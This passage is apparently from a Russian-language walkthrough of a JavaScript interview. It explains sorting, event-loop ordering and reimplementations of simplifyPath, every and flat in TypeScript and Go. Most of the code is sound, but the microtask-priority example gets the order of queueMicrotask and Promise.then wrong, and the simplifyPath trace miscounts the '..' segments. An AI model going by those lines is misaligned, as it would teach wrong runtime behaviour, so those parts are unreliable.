if (typeof aVal === 'number' && typeof bVal === 'number') {
comparison = aVal - bVal;
} else {
comparison = String(aVal).localeCompare(String(bVal));
}

return order === 'asc' ? comparison : -comparison;
});
}

// Использование
sortBy(users, 'id');
sortBy(users, 'name', 'desc');

Важные нюансы:

// ⚠️ sort() мутирует исходный массив!
const original = [3, 1, 2];
const sorted = original.sort(); // Оба массива будут отсортированы

// ✅ Правильно — создать копию
const sorted = [...original].sort();
// или
const sorted = original.slice().sort();
// или
const sorted = Array.from(original).sort();

Для серверного разработчика на Go стоит отметить, что в Go сортировка работает иначе — через интерфейс sort.Interface или функции sort.Slice:

// Go эквивалент
type User struct {
ID int
Name string
}

func SortByID(users []User) []User {
result := make([]User, len(users))
copy(result, users)

sort.Slice(result, func(i, j int) bool {
return result[i].ID < result[j].ID
})

return result
}

Вопрос 26. Порядок вывода чисел с учётом Event Loop (стек вызовов, микрозадачи, макрозадачи)

Таймкод: 00:35:02

Ответ собеседника: Правильный. Порядок: 1, 1, 6, 3, 2, 5. Сначала синхронный код, затем микрозадачи (Promise), потом макрозадачи (setTimeout).

Правильный ответ:

Ответ собеседника корректный. Раскроем тему подробнее, так как понимание Event Loop критически важно.

Механизм Event Loop:

JavaScript работает в однопоточной среде с циклом событий, который управляет порядком выполнения кода.

Типы задач:

// 1. Синхронный код (Call Stack)
// Выполняется немедленно, блокирует выполнение
console.log('sync');

// 2. Микрозадачи (Microtask Queue)
// Выполняются после синхронного кода, до макрозадач
Promise.resolve().then(() => console.log('microtask'));
queueMicrotask(() => console.log('microtask'));

// 3. Макрозадачи (Macrotask Queue / Task Queue)
// Выполняются после всех микрозадач
setTimeout(() => console.log('macrotask'), 0);
setInterval(() => console.log('macrotask'), 0);

Порядок выполнения:

1. Выполнить весь синхронный код (Call Stack)
2. Выполнить ВСЕ микрозадачи (Microtask Queue)
- После каждой микрозадачи проверить, появились ли новые
- Повторять, пока очередь не опустеет
3. Выполнить ОДНУ макрозадачу (Macrotask Queue)
4. Повторить шаги 2-3

Примеры для понимания:

// Пример 1: Базовый порядок
console.log('1'); // Синхронный

setTimeout(() => {
console.log('2'); // Макрозадача
}, 0);

Promise.resolve().then(() => {
console.log('3'); // Микрозадача
});

console.log('4'); // Синхронный

// Вывод: 1, 4, 3, 2
// 1, 4 — синхронный код
// 3 — микрозадача (Promise)
// 2 — макрозадача (setTimeout)
// Пример 2: Вложенные задачи
console.log('1');

setTimeout(() => {
console.log('2');
Promise.resolve().then(() => {
console.log('3'); // Микрозадача внутри макрозадачи
});
}, 0);

Promise.resolve().then(() => {
console.log('4');
setTimeout(() => {
console.log('5'); // Макрозадача внутри микрозадачи
}, 0);
});

console.log('6');

// Вывод: 1, 6, 4, 2, 3, 5
// 1, 6 — синхронный
// 4 — микрозадача (первая)
// 2 — макрозадача (первый setTimeout)
// 3 — микрозадача (внутри setTimeout)
// 5 — макрозадача (внутри Promise)
// Пример 3: Множественные микрозадачи
console.log('1');

Promise.resolve()
.then(() => console.log('2'))
.then(() => console.log('3'))
.then(() => console.log('4'));

Promise.resolve()
.then(() => console.log('5'))
.then(() => console.log('6'));

console.log('7');

// Вывод: 1, 7, 2, 5, 3, 6, 4
// Микрозадачи выполняются в порядке добавления в очередь
// Каждый .then() добавляет новую микрозадачу

Полный списочный приоритет:

// Высший приоритет: Синхронный код
console.log('sync');

// Высокий приоритет: Микрозадачи
Promise.resolve().then(() => console.log('Promise'));
queueMicrotask(() => console.log('queueMicrotask'));
process.nextTick(() => console.log('nextTick')); // Только Node.js

// Низкий приоритет: Макрозадачи
setTimeout(() => console.log('setTimeout'), 0);
setImmediate(() => console.log('setImmediate')); // Только Node.js

// Вывод в браузере: sync, queueMicrotask, Promise, setTimeout
// Вывод в Node.js: sync, nextTick, queueMicrotask, Promise, setTimeout/setImmediate

Практическое значение:

// Проблема: блокировка Event Loop
function heavyComputation() {
// Долгая синхронная операция
for (let i = 0; i < 1e9; i++) {}
console.log('Done');
}

// Во время выполнения heavyComputation:
// - UI заморожен
// - Микрозадачи не выполняются
// - Макрозадачи не выполняются

// Решение: разбить на части
async function heavyComputationAsync() {
const chunks = splitIntoChunks(data, 1000);

for (const chunk of chunks) {
processChunk(chunk);
// Даём Event Loop выполнить другие задачи
await new Promise(resolve => setTimeout(resolve, 0));
}
}

Для серверного разработчика на Go важно понимать, что Go использует многопоточную модель с горутинами и планировщиком, а не Event Loop. Это принципиально другая модель конкурентности, где блокирующие операции не останавливают весь рантайм.

Вопрос 27. Реализовать функцию simplifyPath для нормализации Unix-пути

Таймкод: 00:36:11

Ответ собеседника: Правильный. Используется стек: split по слэшу, пропуск пустых и ., pop для .., push для остальных. Результат: '/' + stack.join('/').

Правильный ответ:

Ответ собеседника корректный. Приведём полную реализацию с пояснениями.

Решение на TypeScript:

function simplifyPath(path: string): string {
const stack: string[] = [];

// Разбиваем путь по слэшу
const parts = path.split('/');

for (const part of parts) {
if (part === '' || part === '.') {
// Пустая строка (множественные слэши) или текущая директория — пропускаем
continue;
} else if (part === '..') {
// Родительская директория — поднимаемся на уровень вверх
if (stack.length > 0) {
stack.pop();
}
} else {
// Обычное имя директории — добавляем в стек
stack.push(part);
}
}

// Собираем канонический путь
return '/' + stack.join('/');
}

Решение на Go:

func simplifyPath(path string) string {
stack := []string{}

parts := strings.Split(path, "/")

for _, part := range parts {
if part == "" || part == "." {
continue
} else if part == ".." {
if len(stack) > 0 {
stack = stack[:len(stack)-1]
}
} else {
stack = append(stack, part)
}
}

return "/" + strings.Join(stack, "/")
}

Тестовые случаи:

// Тесты
console.log(simplifyPath("/home/")); // "/home"
console.log(simplifyPath("/home//foo/")); // "/home/foo"
console.log(simplifyPath("/home/user/Documents/../Pictures")); // "/home/user/Pictures"
console.log(simplifyPath("/../")); // "/"
console.log(simplifyPath("/.../a/../b/c/../d/./")); // "/.../b/d"
console.log(simplifyPath("/a/../../b/../c//.//")); // "/c"

Пошаговый разбор примера:

// Вход: "/a/../../b/../c//.//"

// После split("/"):
// ["", "a", "..", "..", "..", "b", "..", "c", "", ".", "", ""]

// Обработка:
// "" → пропуск (пустой)
// "a" → push → stack: ["a"]
// ".." → pop → stack: []
// ".." → pop → stack: [] (уже пустой, ничего не делаем)
// ".." → pop → stack: [] (уже пустой)
// "b" → push → stack: ["b"]
// ".." → pop → stack: []
// "c" → push → stack: ["c"]
// "" → пропуск
// "." → пропуск
// "" → пропуск
// "" → пропуск

// Результат: "/" + "c" = "/c"

Правила канонического пути:

  • Начинается с одного /
  • Не содержит множественных //
  • Не содержит . (текущая директория)
  • Не содержит .. (родительская директория) без реального перехода
  • Не заканчивается на / (кроме корня /)

Сложность:

  • Временная: O(n), где n — длина пути
  • Пространственная: O(n) для стека

Вопрос 28. Реализовать функцию customEvery, повторяющую поведение Array.every

Таймкод: 00:43:43

Ответ собеседника: Правильный. Реализация с циклом for, вызов callback для каждого элемента, возврат false при falsy, true после цикла. Была ошибка с расположением return true.

Правильный ответ:

Ответ собеседника корректный. Приведём полную реализацию с типами.

Решение на TypeScript:

function customEvery<T>(
arr: T[],
callback: (element: T, index: number, array: T[]) => boolean
): boolean {
for (let i = 0; i < arr.length; i++) {
if (!callback(arr[i], i, arr)) {
return false;
}
}
return true;
}

Решение на Go:

func CustomEvery[T any](arr []T, callback func(T, int, []T) bool) bool {
for i, elem := range arr {
if !callback(elem, i, arr) {
return false
}
}
return true
}

// Использование
numbers := []int{2, 4, 6, 8, 10}
allEven := CustomEvery(numbers, func(n int, i int, arr []int) bool {
return n%2 == 0
})
fmt.Println(allEven) // true

Тестовые случаи:

// Все элементы чётные
console.log(customEvery([2, 4, 6, 8], n => n % 2 === 0)); // true

// Не все элементы чётные
console.log(customEvery([2, 4, 5, 8], n => n % 2 === 0)); // false

// Пустой массив — всегда true (vacuous truth)
console.log(customEvery([], n => n > 0)); // true

// С использованием index и array
console.log(customEvery(
[1, 2, 3],
(elem, index, array) => elem < array.length + 1
)); // true

Ключевые особенности Array.every:

// 1. Ленивое вычисление — останавливается на первом false
const result = [1, 2, 3, 4, 5].every((n, i) => {
console.log(`Checking index ${i}`);
return n < 3;
});
// Лог: Checking index 0, 1, 2
// result: false

// 2. Пустой массив — всегда true
[].every(() => false); // true

// 3. Не мутирует массив
// 4. Пропускает пустые слоты в sparse массивах

Частые ошибки:

// ❌ Ошибка: return true внутри цикла
function brokenEvery(arr, callback) {
for (let i = 0; i < arr.length; i++) {
if (!callback(arr[i], i, arr)) {
return false;
}
return true; // Возвращает true после ПЕРВОГО элемента!
}
}

// ✅ Правильно: return true ПОСЛЕ цикла
function correctEvery(arr, callback) {
for (let i = 0; i < arr.length; i++) {
if (!callback(arr[i], i, arr)) {
return false;
}
}
return true; // Только если все элементы прошли проверку
}

Для серверного разработчика на Go стоит отметить, что в Go нет встроенных функций высшего порядка для слайсов, но с появлением дженериков в Go 1.18+ можно реализовать аналогичные функции.

Вопрос 29. Реализовать функцию customFlat, повторяющую поведение Array.flat

Таймкод: 00:46:44

Ответ собеседника: Правильный. Используется рекурсия: если элемент — массив и глубина > 0, рекурсивный вызов с depth - 1, иначе push элемента.

Правильный ответ:

Ответ собеседника корректный. Приведём полную реализацию.

Решение на TypeScript:

function customFlat<T>(arr: any[], depth: number = 1): T[] {
const result: T[] = [];

for (const item of arr) {
if (Array.isArray(item) && depth > 0) {
// Рекурсивно разворачиваем вложенный массив с уменьшенной глубиной
const flattened = customFlat<T>(item, depth - 1);
result.push(...flattened);
} else {
// Не массив или глубина исчерпана — добавляем как есть
result.push(item);
}
}

return result;
}

Решение на Go:

func CustomFlat(arr []interface{}, depth int) []interface{} {
if depth < 0 {
depth = 0
}

result := []interface{}{}

for _, item := range arr {
if depth > 0 {
if nested, ok := item.([]interface{}); ok {
flattened := CustomFlat(nested, depth-1)
result = append(result, flattened...)
continue
}
}
result = append(result, item)
}

return result
}

// Использование
nested := []interface{}{
1,
[]interface{}{2, 3},
[]interface{}{4, []interface{}{5, 6}},
}

fmt.Println(CustomFlat(nested, 1))
// [1 2 3 4 [5 6]]

fmt.Println(CustomFlat(nested, 2))
// [1 2 3 4 5 6]

Тестовые случаи:

// Глубина 1 (по умолчанию)
console.log(customFlat([1, [2, 3], [4, [5, 6]]]));
// [1, 2, 3, 4, [5, 6]]

// Глубина 2
console.log(customFlat([1, [2, 3], [4, [5, 6]]], 2));
// [1, 2, 3, 4, 5, 6]

// Глубина 0 — без изменений
console.log(customFlat([1, [2, [3, [4]]]], 0));
// [1, [2, [3, [4]]]]

// Бесконечная глубина (Infinity)
console.log(customFlat([1, [2, [3, [4, [5]]]]], Infinity));
// [1, 2, 3, 4, 5]

// Пустые массивы
console.log(customFlat([1, [], [2, []], 3]));
// [1, 2, 3]

Итеративное решение без рекурсии:

function customFlatIterative<T>(arr: any[], depth: number = 1): T[] {
let result: any[] = [...arr];

for (let d = 0; d < depth; d++) {
const temp: any[] = [];
let hasNestedArray = false;

for (const item of result) {
if (Array.isArray(item)) {
temp.push(...item);
hasNestedArray = true;
} else {
temp.push(item);
}
}

result = temp;

// Если больше нет вложенных массивов — выходим раньше
if (!hasNestedArray) {
break;
}
}

return result;
}

Сравнение с встроенным flat:

const arr = [1, [2, [3, [4, [5]]]]];

// Встроенный метод
arr.flat(1); // [1, 2, [3, [4, [5]]]]
arr.flat(2); // [1, 2, 3, [4, [5]]]
arr.flat(Infinity); // [1, 2, 3, 4, 5]

// Наша реализация
customFlat(arr, 1); // [1, 2, [3, [4, [5]]]]
customFlat(arr, 2); // [1, 2, 3, [4, [5]]]
customFlat(arr, Infinity); // [1, 2, 3, 4, 5]

Сложность:

  • Временная: O(n × d), где n — общее количество элементов, d — глубина
  • Пространственная: O(n) для результирующего массива